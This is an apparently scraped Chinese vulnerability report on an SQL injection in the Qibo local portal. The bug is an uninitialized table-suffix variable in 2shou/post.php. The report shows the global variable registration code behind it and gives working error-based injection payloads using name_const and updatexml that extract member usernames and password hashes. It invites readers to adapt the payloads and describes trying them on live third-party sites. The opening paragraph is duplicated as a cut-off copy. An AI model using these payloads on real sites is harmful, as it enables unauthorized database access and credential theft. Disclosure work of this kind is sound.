### 简要描述: 变量未初始化导致注入 ### 详细说明: 齐博地方门户系统 齐博的全局过滤系统中由于存在如下代码,导致传入的参数可以成为全局变量 ``` foreach($_COOKIE AS $_key=>$_value){ unset($$_key); } foreach($_POST AS $_key=>$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key]; } foreach($_GET AS $_key=>$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key]; } ``` 所以系统中如果存在未初始化的变量,容易导致注入 2shou/post.php中 180行 ``` $postdb['list']=$timestamp; if($iftop){//推荐置顶 @extract($db->get_one("SELECT COUNT(*) AS NUM FROM `{$_pre}content$_erp` WHERE list>'$timestamp' AND fid='$fid' AND city_id='$postdb[city_id]'")); //此处_erp未初始化 if($webdb[Info_TopNum]&&$NUM>=$webdb[Info_TopNum]){ showerr("当前栏目置顶信息已达到上限!"); } $postdb['list']+=3600*24*$webdb[Info_TopDay]; if($lfjdb[money]<$webdb[Info_TopMoney]){ showerr("你的积分不足:$webdb[Info_TopMoney],不能选择置顶"); } $lfjdb[money]=$lfjdb[money]-$webdb[Info_TopMoney];//为下面焦点信息做判断积分是否足够 } ``` 这个地方还有点问题,我本地测试用常规的报错语句没问题,如下 ``` and exists(select*from (select*from(select name_const(@@version,0))a join (select...
### 简要描述: 变量未初始化导致注入 ### 详细说明: 齐博地方门户系统 齐博的全局过滤系统中由于存在如下代码,导致传入的参数可以成为全局变量 ``` foreach($_COOKIE AS $_key=>$_value){ unset($$_key); } foreach($_POST AS $_key=>$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key]; } foreach($_GET AS $_key=>$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key]; } ``` 所以系统中如果存在未初始化的变量,容易导致注入 2shou/post.php中 180行 ``` $postdb['list']=$timestamp; if($iftop){//推荐置顶 @extract($db->get_one("SELECT COUNT(*) AS NUM FROM `{$_pre}content$_erp` WHERE list>'$timestamp' AND fid='$fid' AND city_id='$postdb[city_id]'")); //此处_erp未初始化 if($webdb[Info_TopNum]&&$NUM>=$webdb[Info_TopNum]){ showerr("当前栏目置顶信息已达到上限!"); } $postdb['list']+=3600*24*$webdb[Info_TopDay]; if($lfjdb[money]<$webdb[Info_TopMoney]){ showerr("你的积分不足:$webdb[Info_TopMoney],不能选择置顶"); } $lfjdb[money]=$lfjdb[money]-$webdb[Info_TopMoney];//为下面焦点信息做判断积分是否足够 } ``` 这个地方还有点问题,我本地测试用常规的报错语句没问题,如下 ``` and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) ``` 但是网上测试时,总是提示Incorrect arguments to NAME_CONST,好像是版本过低。 网上没有找到解决方案,最后根据这个语句自己构造了一个,好象是没有版本限制噢。这个语句在这个地方不能够自由控制报错的表,所以自我感觉没啥大用处,限制条件还是12个字符 ``` SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a ,MID(pwd,4,16),0x5d) FROM dede_admin),1); ``` 构造如下 ``` where (SELECT 1 FROM qb_members WHERE updatexml(1,(SELECT CONCAT(0x5b,username,0x3a,MID(password,4,16),0x5d) FROM qb_members limit 0,1),1)) ``` 用的时候自己修改就ok 了,不知道网上有没有。 这个地方有个积分计算,其实不用担心,因为在计算积分之前,程序已经注入完成。 由于这个地方提交表单时是 multipart/form-data 方式,起初一直想着怎么post 过去_erp这个参数,后来才发现根本就不需要post 直接get 就ok 了,也省去了去处理 multipart/form-data 方式提交数据构造。 ### 漏洞证明: 首先注册会员,然后发布消息。 [<img src="https://images.seebug.org/upload/201412/17105634c7e8240afa43554c13b91b0052fd715b.jpg" alt="zz.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/17105634c7e8240afa43554c13b91b0052fd715b.jpg) 选择置顶消息(此处是让程序进入if($iftop)中,其实改下提交iftop这个参数就ok.) 截断构造数据,用/**/替换空格,mysql版本低的时候可以用这个 [<img src="https://images.seebug.org/upload/201412/171111241c5679416c66d1dfab39410cd680657b.jpg" alt="cc.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/171111241c5679416c66d1dfab39410cd680657b.jpg) 出数据 mysql版本高的时候用这个。 [<img src="https://images.seebug.org/upload/201412/171506454e7e2b47b7b9ebf53745b40ac984b31e.jpg" alt="jj.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/171506454e7e2b47b7b9ebf53745b40ac984b31e.jpg) 出数据如下 [<img src="https://images.seebug.org/upload/201412/17111217de957c20285e9b840216faf53181b528.jpg" alt="zz.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/17111217de957c20285e9b840216faf53181b528.jpg) 找几个网上的案例如下。 [<img src="https://images.seebug.org/upload/201412/17145402bc5722048cf00c3a551de8fe51581d9d.jpg" alt="1.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/17145402bc5722048cf00c3a551de8fe51581d9d.jpg) [<img src="https://images.seebug.org/upload/201412/17145425a7f39a7dedd4551f9efa9eb63c8d1ce2.jpg" alt="2JPG.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/17145425a7f39a7dedd4551f9efa9eb63c8d1ce2.jpg)